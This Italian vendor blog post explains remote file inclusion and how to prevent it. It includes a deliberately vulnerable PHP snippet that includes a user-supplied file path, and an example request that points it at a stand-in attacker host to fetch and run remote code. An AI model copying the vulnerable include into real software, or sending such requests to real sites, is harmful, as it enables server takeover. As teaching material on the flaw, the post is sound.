Diventa Autore per CoreTech | Scopri di più





Che cos'è l'inclusione remota dei file (RFI)?

16/06/20 CoreTech Blog

Utilizzando l'inclusione remota dei file (RFI), un utente malintenzionato può causare l'applicazione Web per includere un file remoto. Ciò è possibile per le applicazioni Web che includono dinamicamente file o script esterni. Conseguenze di sicurezza web potenziale di un raggio d'attacco RFI successo dalla divulgazione di informazioni sensibili e di cross-site scripting (XSS) per esecuzione di codice remoto e, come risultato finale, completa compromissione del sistema.

Gli attacchi di inclusione di file remoti di solito si verificano quando un'applicazione riceve un percorso a un file come input per una pagina Web e non lo disinfetta correttamente. Ciò consente di fornire un URL esterno alla funzione include.

Di seguito è riportato un esempio di codice PHP con una vulnerabilità di inclusione di file remota. È possibile includere un file con codice sorgente, con conseguente esecuzione di codice arbitrario.

/**

* Get the filename from a GET input

* Example - http://example.com/?file=index.php

*/

$file = $_GET['file'];

 

/**

* Unsafely include the file

* Example - index.php

*/

include($file);

Utilizzando lo script PHP sopra riportato, un utente malintenzionato può inviare la seguente richiesta HTTP per indurre l'applicazione a eseguire codice dannoso sul lato server, ad esempio una backdoor o una rete web.

http://example.com/?file=http://attacker.example.com/evil.php

In questo esempio, il file dannoso è incluso e viene eseguito con le autorizzazioni di esecuzione dell'utente del server che esegue l'applicazione Web. Ciò consente a un utente malintenzionato di eseguire qualsiasi codice desiderato sul server Web. Possono persino ottenere una presenza persistente sul web server.

Individuazione e prevenzione delle vulnerabilità RFI

Fortunatamente, è facile verificare se il tuo sito Web o l'applicazione Web è vulnerabile alla RFI e ad altre vulnerabilità come Iniezione SQL, attraversamento di directory e altro, eseguendo una scansione Web automatizzata utilizzando lo scanner di vulnerabilità Acunetix.

Se trovi vulnerabilità RFI, il modo migliore per eliminarle è di non includere mai i file in base all'input dell'utente. Se ciò non è possibile, l'applicazione dovrebbe mantenere una lista bianca di file che possono essere inclusi. La validazione dell'input è un metodo molto meno efficace in questo caso perché gli attaccanti possono aggirarlo usando trucchi intelligenti.

Inoltre, nel caso di applicazioni PHP, la maggior parte delle installazioni correnti sono configurate con allow_url_include impostato su off in php.ini. Ciò rende impossibile per gli utenti malintenzionati includere file remoti. Tuttavia, in questo caso è ancora possibile l'inclusione di file locali (LFI).


Articoli su Acunetix

Trovare le vulnerabilità dei siti web prima degli HackerL'importanza della convalida delle correzioni: lezioni da GoogleSDLC agile e sicuro - Best practiceIn che misura le aziende gestiscono la sicurezza delle applicazioni Web?Cross-Origin Resource Sharing (CORS) e intestazione Access-Control-Allow-OriginCosa sono i reindirizzamenti aperti?DevSecOps: come arrivarci da DevOpsIl bigino su SQL Injection per sviluppatoriSfruttare SSTI in ThymeleafSicurezza nginx: come proteggere la configurazione del serverRafforzamento del sistema Web in 5 semplici passaggiCos'è la sicurezza del sito Web - Come proteggere il tuo sito Web dall'hackingRapporto sulle vulnerabilità delle applicazioni Web Acunetix 2020Perché l'elenco delle directory è pericoloso?Cosa sono gli hack di Google?Cosa è l'attacco BEASTWeb Shells in Action - Rilevazione e prevenzione - parte 5Web Shells in Action - parte 4Mantenere le Web Shells sotto copertura - parte 3Introduzione alle web shell - parte 2: 101 Uso di PHPIntroduzione alle web shell - parte 1Debunking 5 miti sulla postura della sicurezza informaticaIniezioni di NoSQL e come evitarleConfigurazione passo passo di Acunetix con JenkinsCosa sono i riferimenti a oggetti diretti non sicuriAnche il più forte cade: un'iniezione SQL in Sophos XG FirewallAcunetix rilascia Business Logic RecorderCome recuperare un sito Web compromessoCome difendersi dagli hacker Black Hat durante la pandemia COVID-19Che cos'è l'inclusione remota dei file (RFI)?Apache Security - 10 consigli per un'installazione sicuraUn nuovo sguardo sugli attacchi correlati al proxy inversoVulnerabilità delle password comuni e come evitarleTutto quello che devi sapere sugli attacchi Man-in-the-MiddleChe cosa sono le iniezioni HTMLRed Teaming – 5 consigli su come farlo in modo sicuroTesta le tue competenze XSS utilizzando siti vulnerabiliPerché hacker malintenzionati hanno messo gli occhi sugli ospedaliPratiche di codifica sicura – I tre principi chiaveLa maledizione delle vecchie librerie JavaMutation XSS nella ricerca GoogleIgnorare SOP utilizzando la cache del browserCome e perché evitare reindirizzamenti e inoltri non convalidati?Dirottamento di sessione e altri attacchi di sessioneCome abbiamo trovato un altro XSS in Google con AcunetixChe cos'è un buffer overflowChe cos'è l'overflow di IntegerChe cos'è HSTS e perché dovrei usarlo?Che cosa è OS Command InjectionVulnerabilità delle entità esterne XML in Internet ExplorerCoreTech assicura protezione dei siti Web con AcunetixCoreTech distributore Acunetix a fianco dei partner per la CyberSecurityCyberSecurity applicativa, nuova opportunità per voi!